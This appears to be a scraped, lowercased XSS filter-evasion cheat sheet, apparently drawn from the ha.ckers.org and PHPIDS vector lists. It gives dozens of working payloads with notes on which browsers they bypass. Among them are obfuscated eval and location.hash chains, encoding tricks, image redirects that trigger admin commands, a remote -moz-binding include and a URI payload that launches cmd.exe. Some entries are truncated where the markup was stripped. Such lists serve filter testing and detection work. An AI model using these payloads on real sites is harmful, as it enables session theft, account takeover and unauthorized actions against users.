div background-image with unicoded xss exploit (this has been modified slightly to obfuscate the url parameter). the original vulnerability was found by renaud lifchitz (http://www.sysdream.com) as a vulnerability in hotmail. general, evil tags, obfuscated ha.ckers.org double open angle brackets iframe (if iframes are allowed there are a lot of other xss problems as well). general, evil tags, internet explorer ha.ckers.org image onerror wrapped in xml statement a=

%3c%69%6d%67%2f%73%72%63%3d%31
%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e


document.write(unescape(a..b)) this vector writes an erroneous image tag with onerror hanlder inside an e4x construct into the document context. general, obfuscated, gecko, xml predicates, evil tags .mario image tag with obfuscated js uri

this vector creates three image tags with differing crlf obfuscation in the javascript: uri. general, basic, obfuscated, evil tags, internet explorer owasp image w/charcode if no quotes of any kind are allowed you can eval() a fromcharcode in javascript to create any xss vector you need. general, evil tags, obfuscated, internet explorer ha.ckers.org img dynsrc img dynsrc general, evil tags, internet explorer ha.ckers.org img embedded commands 1 this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. this can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... this is one of the lesser used but more useful xss vectors. general, evil tags ha.ckers.org img embedded commands 2 redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser img embedded commands part ii - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. the vector uses a 302 or 304 (others work too) to redirect the image back to a command. so a normal could actually be an attack vector to run commands as the user who views the image link. here is the .htaccess (under apache) line to accomplish the vector (thanks to timo for part of this). general, redirect ha.ckers.org img lowsrc img lowsrc general, evil tags, internet explorer ha.ckers.org img no quotes/semicolon no quotes and no semicolon general, evil tags, internet explorer ha.ckers.org img style w/ exp/* img style with (this is really a hybrid of several css xss vectors, but it really does show how hard style tags can be to parse apart, like the other css examples this can send ie into a loop). general, evil tags, internet explorer ha.ckers.org img w/javascript directive image xss using the javascript directive. general, evil tags, internet explorer ha.ckers.org img w/vbscript vbscript in an image general, evil tags, internet explorer ha.ckers.org input image input image general, evil tags, internet explorer ha.ckers.org ip encoding xss url string evasion (assuming ”http://www.google.com/” is programmatically disallowed). general, evil tags, obfuscated ha.ckers.org javascript concatenation vector variant 1 s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;url=u1 this vector concatenates a string and evaluates it via mapping on url general, internet explorer, concatenated, obfuscated phpids group javascript concatenation vector variant 2 s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7; this vector concatenates a string and evaluates it via self-execution. general, concatenated, obfuscated phpids group javascript concatenation vector variant 3 s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createelement(i1);i.src=i2;x=parentnode;x.appendchild(i); this vector concatenates a string and evaluates it via usage of common dom methods and element creation. general, concatenated, obfuscated phpids group javascript concatenation vector variant 4 s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)']; this vector concatenates a string and evaluates it via filling a variable with payload concatenated in a json array. general, json, concatenated, obfuscated phpids group javascript concatenation vector variant 5 s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+'']; this vector concatenates a string and evaluates it via filling a variable with payload concatenated in a json array. general, json, concatenated, obfuscated phpids group javascript concatenation vector variant 6 s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;url=s7; this vector concatenates a string and evaluates it via filling the url property with payload concatenated in a string via ternary operators. general, internet explorer, concatenated, obfuscated phpids group javascript concatenation vector variant 7 s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+''; this vector concatenates a string and evaluates it via filling a variable with payload concatenated in a regular string via ternary operators. general, json, concatenated, obfuscated phpids group javascript includes
&javascript includes (works in netscape 4.x). general, evil tags, obfuscated ha.ckers.org javascript link location xss url string evasion (assuming ”http://www.google.com/” is programmatically disallowed)
javascript link location general, evil tags, obfuscated, redirect ha.ckers.org javascript-breaker using carriage return %0da=eval;b=alert;a(b(/d/.source)); this vector uses an urlencoded carriage return to break js code and produce an alert afterwards. general, js breaking, crlf kishor js link with whitespace obfuscation test this vector utilizes whitespace to obfuscate and contains a js link. general, evil tags, obfuscated thespanner.co.uk js string concatenation breaker +alert(0)+ this can be used when input is concatenated in javascript. general, js breaking, basic .mario json based obfuscated onload vector this vector injects a new body tag and utilized the onload event to modify the dom general, evil tags, json, obfuscated thespanner.co.uk json based semicolon-onload vector layer (older netscape only) general, evil tags ha.ckers.org list-style-image

• xss fairly esoteric issue dealing with embedding images for bulleted lists. this will only work in the ie rendering engine because of the javascript directive. not a particularly useful cross site scripting vector. general, evil tags, internet explorer ha.ckers.org livescript livescript (older netscape only) general, evil tags ha.ckers.org local .htc file this uses an .htc file which must be on the same server as the xss vector. the example file works by pulling in the javascript and running it as part of the style attribute. general, evil tags, internet explorer, injection ha.ckers.org long utf-8 unicode w/out semicolons long utf-8 unicode encoding without semicolons (this is often effective in xss that attempts to look for ”&#xx;”, since most people don't know about padding - up to 7 numeric characters total). this is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (i've seen this in the wild). general, evil tags, obfuscated, internet explorer ha.ckers.org malformed img tags "> originally found by begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this xss vector uses the relaxed rendering engine to create our xss vector within an img tag that should be encapsulated within quotes. i assume this was originally meant to correct sloppy coding. this would make it significantly more difficult to correctly parse apart an html tag. general, evil tags, obfuscated ha.ckers.org markup breaker with special quotes %26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);// this markup breaking vector utilizes specially crafted quotes to break the existing markup. general, html breaking, js breaking kishor meta the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring urls. general, evil tags ha.ckers.org meta w/additional url parameter meta with additional url parameter. if the target website attempts to see if the url contains an ”http://” you can evade it with the following technique (submitted by moritz naumann http://www.moritz-naumann.com) general, evil tags ha.ckers.org meta w/data:url this is nice because it also doesn't have anything visibly that has the word script or the javascript directive in it, since it utilizes base64 encoding. please see http://www.ietf.org/rfc/rfc2397.txt for more details general, evil tags ha.ckers.org mixed encoding xss url string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
  the tabs and newlines only work if this is encapsulated with quotes. general, evil tags, obfuscated ha.ckers.org mocha mocha (older netscape only) general, evil tags ha.ckers.org mozilla -moz-binding-url injection style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a=" the vector incudes a binding file via injected style attrbute. gecko only. general, injection, gecko, style injection, xbl .mario mozilla -moz-binding-url injection - filter evading sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar#xss)" a=" this vector was once used on a major site to evade a stripping filter and inject binding xml. general, injection, gecko, style injection, xbl phpids group multiline selfcontained xss _
  =
  eval
  b=1
  __
  =
  location
  c=1
  _
  (
  __
  .
  hash
  //
  .
  substr
  (1)
  ) this vector uses line breaks to obfuscate and evaluates the location hash. self contained, general, obfuscated .mario multiline w/carriage returns multiline injected javascript using ascii carriage returns (same as above only a more extreme example of this xss vector). general, evil tags, internet explorer ha.ckers.org name contained xss variant 1 b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name this vector depends on attackers ability to access the window.name property where the payload is located. general, name contained, obfuscated phpids group name contained xss variant 2 a=/ev///
  
  .source a+=/al///
  
  .source a[a] (name) this name contained xss requires newlines to be able to work - and access to the window.name property. general, name contained, obfuscated .mario name contained xss variant 3 a=/ev/
  
  .source a+=/al/
  
  .source,a = a[a] a(name) new-lined requiring name contained vector - this time not comment obfuscated so easier to detect. general, name contained phpids group name contained xss variant 4 settimeout//
  (name// ,0) this vector utilizes the settimeout function to fire - also it's name contained and comment-obfuscated and requires newlines. general, name contained, obfuscated, timed phpids group navigatorurl: code execution navigatorurl:test" -chrome "javascript:c=components.classes;i=components.interfaces;file=c[\'@mozilla.org/file/local;1\'].createinstance(i.nsilocalfile);file.initwithpath(\'c:\'+string.fromcharcode(92)+string.fromcharcode(92)+\'windows\'+string.fromcharcode(92)+string.fromcharcode(92)+\'system32\'+string.fromcharcode(92)+string.fromcharcode(92)+\'cmd.exe\');process=c[\'@mozilla.org/process/util;1\'].createinstance(i.nsiprocess);process.init(file);process.run(true%252c{}%252c0);alert(process) this navigatorurl-uri executes the cmd.exe on vulnerable systems. uri exploits, gecko, injection, general xs-sniper no closing script tag ” portion of this cross site scripting vector. firefox assumes it's safe to close the html tag and add closing tags for you. how thoughtful! unlike the next one, which doesn't affect firefox, this does not require any additional html below it. you can add quotes if you need to, but they're not needed generally. general, evil tags, injection, gecko ha.ckers.org no quotes/semicolons no single quotes or double quotes or semicolons. general, evil tags, obfuscated ha.ckers.org non-alpha/non-digit non-alpha-non-digit xss. while i was reading the firefox html parser i found that it assumes a non-alpha-non-digit is not valid after an html keyword and therefore considers it to be a whitespace or non-valid token after an html tag. the problem is that some xss filters assume that the tag they are looking for is broken up by whitespace. for example ” non-alpha-non-digit xss part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, i expanded on it, using my fuzzer. the gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. note that this does not apply to the grave accent char as seen here. general, evil tags, obfuscated ha.ckers.org noscript-breaker with mouseover
  move mouse over this area this vector breaks noscript areas and appends an element reacting on mouseover events. general, html breaking, obfuscated, user interaction kishor null chars 1 perl -e 'print "";'> out okay, i lied, null chars also work as xss vectors but not like above, you need to inject them directly using something like burp proxy (http://www.portswigger.net/proxy/) or use %00 in the url string or if you want to write your own injection tool you can use vim (^v^@ will produce a null) to generate it into a text file. okay, i lied again, older versions of opera (circa 7.11 on windows) were vulnerable to one additional char 173 (the soft hyphen control char). but the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. general, evil tags, obfuscated, internet explorer, crlf ha.ckers.org null chars 2 perl -e 'print "&alert("xss")";' > out here is a little known xss attack vector using null characters. you can actually break up the html itself using the same nulls as shown above. i've seen this vector bypass some of the most restrictive xss filters to date general, evil tags, obfuscated, crlf ha.ckers.org obfuscated body onload vector 0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=
  0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createelement(i1);i.src=i2;x=pa
  rentnode;x.appendchild(i); this vector utilizes ternary operators to obfuscate javascript code which creates new dom elements. general, obfuscated, injection thespanner.co.uk obfuscated double-body onload vector this vector creates a doubled new body tag and utilizes semicolons to evade filters and produce an alert. general, evil tags, obfuscated thespanner.co.uk obfuscated image tag using dec entities #115;cript:a
  lert('xs;s')> this attack is built together with obfuscated decimal entities and create a js image source. general, basic, obfuscated, evil tags, internet explorer owasp obfuscated image tag using hex entities #x63ript:&#x61lert(
  &#x27XSS')> this attack is built together with obfuscated hexadecimal entities and create a js image source. general, basic, obfuscated, evil tags, internet explorer owasp obfuscated image tag using long dec entities #0000118as&#0000099ri&#0000112t:
  &#0000097le&#0000114t(&#0000039xs&#0000083')> this attack is built together with obfuscated long decimal entities and create a js image source. general, owasp, obfuscated, evil tags, internet explorer owasp obfuscated js image source >"'>alert(%26quot;%26%23x20;xss%26%23x20;test%26%23x20;successful%26quot;)> this vector uses urlencoded hex entities to obfuscate the javascript: image source. general, owasp, obfuscated, evil tags, internet explorer owasp obfuscated name trigger for firefox (1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0) this xss vector uses a parser bug in firefox to obfuscate the methods needed to trigger the name contained payload. general, gecko, obfuscated, self contained sirdarckcat obfuscated onload attribute variant 1 ev+<_>al](''+<_>aler+<_>t+<_>(1)); this vector uses xml predicates to obfuscate its payload and the fact that you can use underscores as xml tags. general, xml predicates, obfuscated, gecko phpids group obfuscated xml predicate vector variation 2 s1=evalalerta(1)a,s2=+'',s3=s1+s2,e1=/s/!=/s/?s3[0]:
  0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/
  s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/
  s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]:
  0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]:
  0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a) this vector uses xml predicates to obfuscate its payload and the fact that you can use underscores as xml tags. also a concatenation via ternary operator is being used. general, xml predicates, obfuscated, gecko phpids group obfuscated xml predicate vector variation 3 o={x:''+eva+l,y:''+aler+t+(1)s>};function f() { 0[this.x](this.y) }f.call(o); this vector uses xml predicates to obfuscate its payload. the payload is furthermore wrapped into json literals for more obfuscation. general, xml predicates, obfuscated, gecko, json .mario obfuscated xss variant 1 ___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___) shuffled and obfuscated function calls general, obfuscated phpids group object if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the applet tag. the linked file is actually an html file that can contain your xss general, evil tags ha.ckers.org object w/embedded xss using an object tag you can embed xss directly (this is unverified). general, evil tags, obfuscated, internet explorer ha.ckers.org object w/flash 2 a="get"; b="url(""; c="javascript:"; d="alert('xss');")";eval(a+b+c+d); using this action script inside flash can obfuscate your xss vector. general, evil tags, obfuscated ha.ckers.org octal encoding xss url string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
  padding is allowed, although you must keep it above 4 total characters per class - as in class a, class b, etc... general, evil tags, obfuscated ha.ckers.org open string contained in name property open(name) this very simple but effective vector uses the open method on the name property. general, super short, self contained sirdarckcat php alert("xss")'); ?> php - requires php to be installed on the server to use this xss vector. again, if you can run any scripts remotely like this, there are probably much more dire issues. general, evil tags, obfuscated ha.ckers.org plain javascript alert alert(1) this very basic exploit works on surprisingly many pages - no real danger but bad image. general, basic, super short .mario protocol resolution bypass xss url string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
  protocol resolution bypass (// translates to http:// which saves a few more bytes). this is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like ”(ht|f)tp(s)?://” (thanks to ozh (http://planetozh.com/) for part of this one). you can also change the ”//” to ”\\”. you do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path url. general, evil tags, obfuscated ha.ckers.org protocol resolution in script tags tag at the end. however, this is especially useful where space is an issue, and of course, the shorter your domain, the better. the ”.j” is valid, regardless of the mime type because the browser knows it in context of a script tag. general, evil tags, obfuscated, injection ha.ckers.org regexp based, and native c filter vector. 0%0d%0a%00 assuming you can only fit in a few characters and it filters against ”.js” you can rename your javascript file to an image as an xss vector. general, evil tags, obfuscated, injection ha.ckers.org res:// installed software probing res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210 this res-uri can be used to probe for certain software in ie. uri exploits, injection, general, obfuscated, internet explorer xs-sniper script w/alert() basic injection attack general, evil tags, basic ha.ckers.org script w/char code inject this string, and in most cases where a script is vulnerable with no special xss vector requirements the word ”xss” will pop up. general, evil tags, obfuscated, basic ha.ckers.org script w/source file no filter evasion. this is a normal xss javascript injection, and most likely to get caught but i suggest trying it first (the quotes are not required in any modern browser so they are omitted here). general, evil tags, basic, injection ha.ckers.org self-contained xss variant 1 a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1)) concatenates obfuscated eval() and substr() to be called on location.hash general, self contained phpids group self-contained xss variant 2 a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b)) concatenates fragmented functions to evakuate the location hash general, self contained phpids group self-contained xss variant 3 eval.call(this,unescape.call(this,location)) uses call() and eval() to access the payload in the fragment identifier general, self contained phpids group self-contained xss variant 4 d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b))) this one is pretty hard to detect due to the total fragmentation. fragments are built together to a self-executing function. general, self contained phpids group self-contained xss variant 5 l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a this variant has the function fragments shuffled to evade concatenation filters and is thus very hard to detect. general, self contained, shuffled phpids group self-contained xss variant 6 _=eval,__=unescape,___=document.url,_(__(___)) since javascript allows \w+ as variable name - this vector uses _ to evade filters. general, self contained phpids group self-contained xss variant 7 $_=document,$__=$_.url,$___=unescape,$_=$_.body,$_.innerhtml = $___(http=$__) uses special characters as variable names and self-executes the concatenated payload trigger. general, self contained phpids group self-contained xss variant 8 $=document,$=$.url,$$=unescape,$$$=eval,$$$($$($)) this time $ is used to obfuscate the self-executing payload trigger. general, self contained phpids group self-contained xss variant 9 evil=/ev/.source+/al/.source,changeproto=/strin/.source+/g.prototyp/.source+/e.ss=/.source+/strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshcod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeproto);hsh=7[evil](hshcod),cod=hsh.ss(1);7[evil](cod) this more than sophisticated vector is hard to explain - it' creator did here: http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13409 general, self contained, shuffled phpids group self-containing xss with no dots with(location)with(hash)eval(substring(1)) this vector uses with() to activate the payload behind the fragment identifier. no dots are used to enable easier filter evasion. general, super short, self contained ma1 spaces/meta chars spaces and meta chars before the javascript in images for xss (this is useful if the pattern match doesn't take into account spaces in the word ”javascript:” - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the ”javascript:” keyword. the actual reality is you can have any char from 1-32 in decimal). general, evil tags, obfuscated, internet explorer ha.ckers.org ssi ssi (server side includes) requires ssi to be installed on the server to use this xss vector. i probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. general, evil tags, obfuscated, ssi, injection ha.ckers.org style style tag (older versions of netscape only) general, evil tags, style injection, gecko ha.ckers.org style injection via content and double-eval
  this vector utilizes the css content property and fetches it off the document.stylesheets property afterwards. for correct execution of the payload a double-eval is needed. general, onfuscated, style injection .mario style w/anonymous html anonymous html with style attribute (ie and netscape 8.1+ in ie rendering engine mode don't really care if the html tag you build exists or not, as long as it starts with an open angle bracket and a letter) general, evil tags, obfuscated, internet explorer ha.ckers.org style w/background style tag using background. general, evil tags, injection, internet explorer ha.ckers.org style w/background-image style tag using background-image. general, evil tags, internet explorer, style injection ha.ckers.org style w/broken up javascript style tags with broken up javascript for xss (this xss at times sends ie into an infinite loop of alerts). general, evil tags, style injection, internet explorer ha.ckers.org style w/comment style attribute using a comment to break up (thanks to roman ivanov http://www.pixel-apes.com/ for this one) general, evil tags, style injection, internet explorer ha.ckers.org stylesheet stylesheet general, evil tags ha.ckers.org style-breaker using obfuscated javascript } this vector ends styleblocks and uses obfuscated javascript to create an alert. general, html breaking, css breaking kishor super basic html breaker 2 >"' this super basic vector breaks html attributes
  general, basic, super short, html breaking .mario super short xss variant 1 a=alert
  
  a(0) this extremely short xss vector works only when newlines can be injected. general, super short .mario super short xss variant 2 a=alert;a(1) this extremely short xss vector works with out the need for newlines to be injected, super short, general, basic -unknown- table table background (who would have thought tables were xss targets... except me, of course). general, evil tags ha.ckers.org td td background. general, evil tags ha.ckers.org textarea-breaker with mouseover
  move mouse over this area this vector breaks textareas and creates an element reacting on mouveover events. general, html breaking, obfuscated, user interaction kishor unicode encoded script tags '%uff1cscript%uff1ealert('xss')%uff1c/script%uff1e' this vector uses unicode encoded codepoints to create a script tag producing an alert. general, basic, obfuscated, evil tags owasp url breaker for double quotes http://aa"> this vector breaks double quoted url input url breaking, general, basic, html breaking .mario url breaker for single quotes http://aa'> this vector breaks single quoted url input url breaking, basic, general, html breaking .mario url encoded image source >%22%27> this vector utilizes an urlencoded js image source to create an alert. general, basic, obfuscated, internet explorer owasp url encoding xss url string evasion (assuming ”http://www.google.com/” is programmatically disallowed). general, evil tags, obfuscated ha.ckers.org url-breaking vector http://aa this vector is a basic url breaker - embedding an alert in a url-like wrapper. general, url breaking, basic kishor us-ascii encoding %bcscript%bealert(%a2xss%a2)%bc/script%be found by kurt huwig http://www.iku-ag.de/ this uses malformed ascii encoding with 7 bits instead of 8. this xss may bypass many content filters but only works if the hosts transmits in us-ascii encoding, or if you set the encoding yourself. this is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. apache tomcat is the only known server that transmits in us-ascii encoding. general, evil tags, obfuscated ha.ckers.org utf-7 encoding +adw-script+ad4-alert('xss');+adw-/script+ad4- utf-7 encoding - if the page that the xss resides on doesn't provide a page charset header, or any browser that is set to utf-7 encoding can be exploited with the following (thanks to roman ivanov http://www.pixel-apes.com/ for this one). you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in internet explorer and netscape 8.1 ie rendering engine mode). watchfire http://seclists.org/lists/fulldisclosure/2005/dec/1107.html found this hole in google's custom 404 script. general, evil tags, obfuscated ha.ckers.org utf-8 unicode encoding utf-8 unicode encoding (all of the xss examples that use a javascript: directive inside of an img tag will not work in firefox or netscape 8.1+ in the gecko rendering engine mode). general, evil tags, obfuscated, internet explorer ha.ckers.org with() executing alert via document.__parent__ with(document.__parent__)alert(1) this vector uses the __parent__ property combined with with() to execute an alert. general, super short, obfuscated, gecko, __property__ .mario xml data island w/cdata ]]> xml data island with cdata obfuscation (this xss attack works only in ie and netscape 8.1 ie rendering engine mode) - vector found by sec consult http://www.sec-consult.html while auditing yahoo. general, evil tags, obfuscated, xml injection ha.ckers.org xml data island w/comment xml data island with comment obfuscation (doesn't use cdata fields, but rather uses comments to break up the javascript directive) general, evil tags, obfuscated, xml injection ha.ckers.org xml html+time html+time in xml. this is how grey magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked hotmail and yahoo!. this only works in internet explorer and netscape 8.1 in ie rendering engine mode and remember that you need to be between html and body tags for this to work. general, evil tags, obfuscated, xml injection ha.ckers.org xml namespace xss xml namespace. the .htc file must be located on the server as your xss vector. general, evil tags, obfuscated, xml injection ha.ckers.org xml predicate xss using content[n] y=alert;content[y](123) this vector uses xml predicate properties to activate its payload. general, xml predicates, gecko phpids group xml (locally hosted) locally hosted xml with embedded javascript that is generated using an xml data island. this is the same as above but instead refers to a locally hosted (must be on the same server) xml file that contains the cross site scripting vector. general, evil tags, obfuscated, xml injection ha.ckers.org xss quick test '';!--"=&{()} if you don't have much space, this string is a nice compact xss injection check. view source after injecting it and look for _(1) this vector uses the __parent__ property to store the alert function and execute it afterwards with new label. general, super short, obfuscated, gecko, __property__ .mario __proto__ stored js alert top.__proto__._= alert
  _(1) this vector uses the __proto__ property to store the alert function and execute it afterwards with new label. general, super short, obfuscated, gecko, __property__ .mario .mario .mario